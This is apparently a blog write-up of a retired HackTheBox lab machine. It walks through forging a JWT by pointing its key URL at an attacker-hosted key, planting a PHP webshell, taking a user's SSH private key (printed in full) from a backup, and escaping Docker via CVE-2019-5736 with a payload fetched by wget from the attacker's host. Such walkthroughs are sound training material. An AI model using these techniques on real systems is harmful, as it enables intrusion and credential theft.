HTB: The Notebook

Posted on 01 Aug 2021 in security • 4 min read

The Notebook Card

This is a writeup about a retired HacktheBox machine: TheNotebook publish on Mars 6, 2021 by mostwanted002. This box is rated as a medium machine. It implies a JWT token, some PHP files and a docker exploit.

Foothold

Recon

Let us start as always by a nmap scan. Only port 80 (HTTP) and 22 (SSH) are open.

Nmap scan report for 10.129.82.59
Host is up (0.013s latency).
Not shown: 65532 closed ports
PORT      STATE    SERVICE VERSION
22/tcp    open     ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp    open     http    nginx 1.14.0 (Ubuntu)
10010/tcp filtered rxapi
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Web

The website is an application to take notes. We can self register a user. We notice that:

  • There is authorization control to access the notes but we need to know the UUID to access them.
  • The first note we upload start with the number 5. Being on a VIP box means that there is already existing notes.
  • The authentication is using a JWT token

Our JWT token has the following values:

eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6Imh0dHA6Ly9sb2NhbGhvc3Q6NzA3MC9wcml2S2V5LmtleSJ9
{"typ":"JWT","alg":"RS256","kid":"http://localhost:7070/privKey.key"}

eyJ1c2VybmFtZSI6InJyIiwiZW1haWwiOiJyQHIuY29tIiwiYWRtaW5fY2FwIjowfQ
{"username":"rr","email":"r@r.com","admin_cap":0}

A few interesting point about this JWT token:

  1. the kid (Key ID) in the header is an URL
  2. there is a admin_cap parameter in the JWT payload.

We host a simple HTTP server using python3 and change the KID value by our IP address and port and got a ping on it (with a 404).

We use ssh-keygen to generate a RS256 private key and we make it available using the python server.

ssh-keygen -t rsa -b 4096 -m PEM -f privKey.key

We use https://jwt.io/ to generate a new token with the admin_cap parameter to 1 and sign it using our private key.

By replacing our token with the new one we can now access the admin panel an view all the notes including the ones from the "admin" user saying that PHP files are being executed.

We use the admin panel to upload simple-backdoor.php (located in /usr/share/webshells/php on Kali Linux). We can now execute command on the system using our webshell.

We found a "home.tar.gz" archive in the /backups/ folder.

ls%20../../backups
apt.extended_states.0
apt.extended_states.1.gz
apt.extended_states.2.gz
home.tar.gz

We copy the archive to our parent directory and extract it.

cmd=cp%20../../backups/home.tar.gz%20../
cmd=tar%20xvf%20../home.tar.gz%20-C%20../
home/
home/noah/
home/noah/.bash_logout
home/noah/.cache/
home/noah/.cache/motd.legal-displayed
home/noah/.gnupg/
home/noah/.gnupg/private-keys-v1.d/
home/noah/.bashrc
home/noah/.profile
home/noah/.ssh/
home/noah/.ssh/id_rsa
home/noah/.ssh/authorized_keys
home/noah/.ssh/id_rsa.pub

We can then get the "noah" user private SSH key.

cmd=cat%20../home/noah/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEAyqucvz6P/EEQbdf8cA44GkEjCc3QnAyssED3qq9Pz1LxEN04
HbhhDfFxK+EDWK4ykk0g5MvBQckcxAs31mNnu+UClYLMb4YXGvriwCrtrHo/ulwT
rLymqVzxjEbLUkIgjZNW49ABwi2pDfzoXnij9JK8s3ijIo+w/0RqHzAfgS3Y7t+b
HVo4kvIHT0IXveAivxez3UpiulFkaQ4zk37rfHO3wuTWsyZ0vmL7gr3fQRBndrUD
v4k2zwetxYNt0hjdLDyA+KGWFFeW7ey9ynrMKW2ic2vBucEAUUe+mb0EazO2inhX
rTAQEgTrbO7jNoZEpf4MDRt7DTQ7dRz+k8HG4wIDAQABAoIBAQDIa0b51Ht84DbH
+UQY5+bRB8MHifGWr+4B6m1A7FcHViUwISPCODg6Gp5o3v55LuKxzPYPa/M0BBaf
Q9y29Nx7ce/JPGzAiKDGvH2JvaoF22qz9yQ5uOEzMMdpigS81snsV10gse1bQd4h
CA4ehjzUultDO7RPlDtbZCNxrhwpmBMjCjQna0R2TqPjEs4b7DT1Grs9O7d7pyNM
Um/rxjBx7AcbP+P7LBqLrnk7kCXeZXbi15Lc9uDUS2c3INeRPmbFl5d7OdlTbXce
YwHVJckFXyeVP6Qziu3yA3p6d+fhFCzWU3uzUKBL0GeJSARxISsvVRzXlHRBGU9V
AuyJ2O4JAoGBAO67RmkGsIAIww/DJ7fFRRK91dvQdeaFSmA7Xf5rhWFymZ/spj2/
rWuuxIS2AXp6pmk36GEpUN1Ea+jvkw/NaMPfGpIl50dO60I0B4FtJbood2gApfG9
0uPb7a+Yzbj10D3U6AnDi0tRtFwnnyfRevS+KEFVXHTLPTPGjRRQ41OdAoGBANlU
kn7eFJ04BYmzcWbupXaped7QEfshGMu34/HWl0/ejKXgVkLsGgSB5v3aOlP6KqEE
vk4wAFKj1i40pEAp0ZNawD5TsDSHoAsIxRnjRM+pZ2bjku0GNzCAU82/rJSnRA+X
i7zrFYhfaKldu4fNYgHKgDBx8X/DeD0vLellpLx/AoGBANoh0CIi9J7oYqNCZEYs
QALx5jilbzUk0WLAnA/eWs9BkVFpQDTnsSPVWscQLqWk7+zwIqq0v6iN3jPGxA8K
VxGyB2tGqt6jI58oPztpabGBTCmBfh82nT2KNNHfwwmfwZjdsu9I9zvo+e3CXlBZ
vglmvw2DW6l0EwX+A+ZuSmiZAoGAb2mgtDMrRDHc/Oul3gvHfV6CYIwwO5qK+Jyr
2WWWKla/qaWo8yPQbrEddtOyBS0BP4yL9s86yyK8gPFxpocJrk3esdT7RuKkVCPJ
z2yn8QE6Rg+yWZpPHqkazSZO1eItzQR2mYG2hzPKFtE7evH6JUrnjm5LTKEreco+
8iCuZAcCgYEA1fhcJzNwEUb2EOV/AI23rYpViF6SiDTfJrtV6ZCLTuKKhdvuqkKr
JjwmBxv0VN6MDmJ4OhYo1ZR6WiTMYq6kFGCmSCATPl4wbGmwb0ZHb0WBSbj5ErQ+
Uh6he5GM5rTstMjtGN+OQ0Z8UZ6c0HBM0ulkBT9IUIUEdLFntA4oAVQ=
-----END RSA PRIVATE KEY-----

We use it to connect on the box as "noah" and get the user flag.

└─$ ssh noah@10.129.82.59 -i id_rsa
<SNIP>
noah@thenotebook:~$ id
uid=1000(noah) gid=1000(noah) groups=1000(noah)
noah@thenotebook:~$ cat user.txt
4a22cbbbecb491a77b6659fdf00183ba

root

Docker

We enumerate our permission on the box.

noah@thenotebook:~$ sudo -l
Matching Defaults entries for noah on thenotebook:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User noah may run the following commands on thenotebook:
    (ALL) NOPASSWD: /usr/bin/docker exec -it webapp-dev01*

Our user can execute command on the "webapp-dev01" docker machine. We can use sudo /usr/bin/docker exec -it webapp-dev01 /bin/bash to get a bash shell inside the docker.

As docker is used we run the deepce script on the host box. The script found that the docker version used it vulnerable to a container escape exploit.

noah@thenotebook:~$ sh deepce.sh

                      ##         .
                ## ## ##        ==
            ## ## ## ##       ===
        /"""""""""""""""""\___/ ===
    ~~~ {~~ ~~~~ ~~~ ~~~~ ~~~ ~ /  ===- ~~~
        \______ X           __/
          \    \         __/
            \____\_______/
          __
    ____/ /__  ___  ____  ________
    / __  / _ \/ _ \/ __ \/ ___/ _ \   ENUMERATE
  / /_/ /  __/  __/ /_/ / (__/  __/  ESCALATE
  \__,_/\___/\___/ .___/\___/\___/  ESCAPE
                /_/

Docker Enumeration, Escalation of Privileges and Container Escapes (DEEPCE)
by stealthcopter

==========================================( Colors )==========================================
[+] Exploit Test ............ Exploitable - Check this out
[+] Basic Test .............. Positive Result
[+] Another Test ............ Error running check
[+] Negative Test ........... No
[+] Multi line test ......... Yes
Command output
spanning multiple lines

Tips will look like this and often contains links with additional info. You can usually
ctrl+click links in modern terminal to open in a browser window
See https://stealthcopter.github.io/deepce

===================================( Enumerating Platform )===================================
grep: /proc/1/cgroup: No such file or directory
grep: /proc/1/cgroup: No such file or directory
grep: /proc/1/cgroup: No such file or directory
[+] Inside Container ........ No
[+] User .................... noah
[+] Groups .................. noah
[+] Container tools ......... Yes
/usr/bin/docker
/usr/bin/lxc
[+] Docker Executable ....... /usr/bin/docker
[+] Docker version .......... 18.06.0-ce
[+] User in Docker group .... No
[+] Docker Sock ............. Yes
srw-rw---- 1 root docker 0 Mar  7 10:10 /var/run/docker.sock

[+] Sock is writable ........ No
To see full info from the docker sock output run the following

curl -s --unix-socket /var/run/docker.sock http://localhost/info

[+] Docker Exploits ......... 18.06.0-ce
[+] CVE–2019–13139 .......... deepce.sh: 139: printf: 0-ce: not completely converted
Yes
Docker versions before 18.09.4 are vulnerable to a command execution vulnerability when
parsing URLs

[+] CVE–2019–5736 ........... deepce.sh: 139: printf: 0-ce: not completely converted
Yes
Docker versions before 18.09.2 are vulnerable to a container escape by overwriting the
runC binary

==================================( Enumerating Containers )==================================
==============================================================================================

A quick Google search return us a simple CVE-2019-5736 PoC written in Golang.

We modify the main.go file with the payload var payload = "#!/bin/bash \n cat /root/root.txt > /tmp/shadow && chmod 777 /tmp/shadow" and compile it using go build main.go. We then download it from the docker and run it.

noah@thenotebook:~$ sudo /usr/bin/docker exec -it webapp-dev01 /bin/bash
root@893ea5c84398:/opt/webapp# cd /tmp/
root@893ea5c84398:/tmp# wget http://10.10.14.28:8000/main
--2021-03-08 17:07:53--  http://10.10.14.28:8000/main
<SNIP>
2021-03-08 17:07:53 (10.8 MB/s) - ‘main’ saved [2236814/2236814]

root@893ea5c84398:/tmp# chmod +x main
root@893ea5c84398:/tmp# ./main
[+] Overwritten /bin/sh successfully
[+] Found the PID: 103
[+] Successfully got the file handle
[+] Successfully got write handle &{0xc0004078c0}
root@893ea5c84398:/tmp#

On another terminal on the "thenotebook" host we run the following command (our exploit binary rewrite /bin/sh so we need to call that command) and get the private flag.

noah@thenotebook:~$ sudo /usr/bin/docker exec -it webapp-dev01 /bin/sh
No help topic for '/bin/sh'
noah@thenotebook:~$ ls /tmp/
home  shadow  systemd-private-0c3e87bdcb724a669778cfa72c5b4017-systemd-timesyncd.service-vsSHAh  tmux-1000  vmware-root_611-3980232955
noah@thenotebook:~$ cat /tmp/shadow
e16458a8ec21a020bb382e56d8f0ed42

Wrapping up

An interesting box as working with JWT token is more and more common. The docker exploit is simple to use. A nice box overall.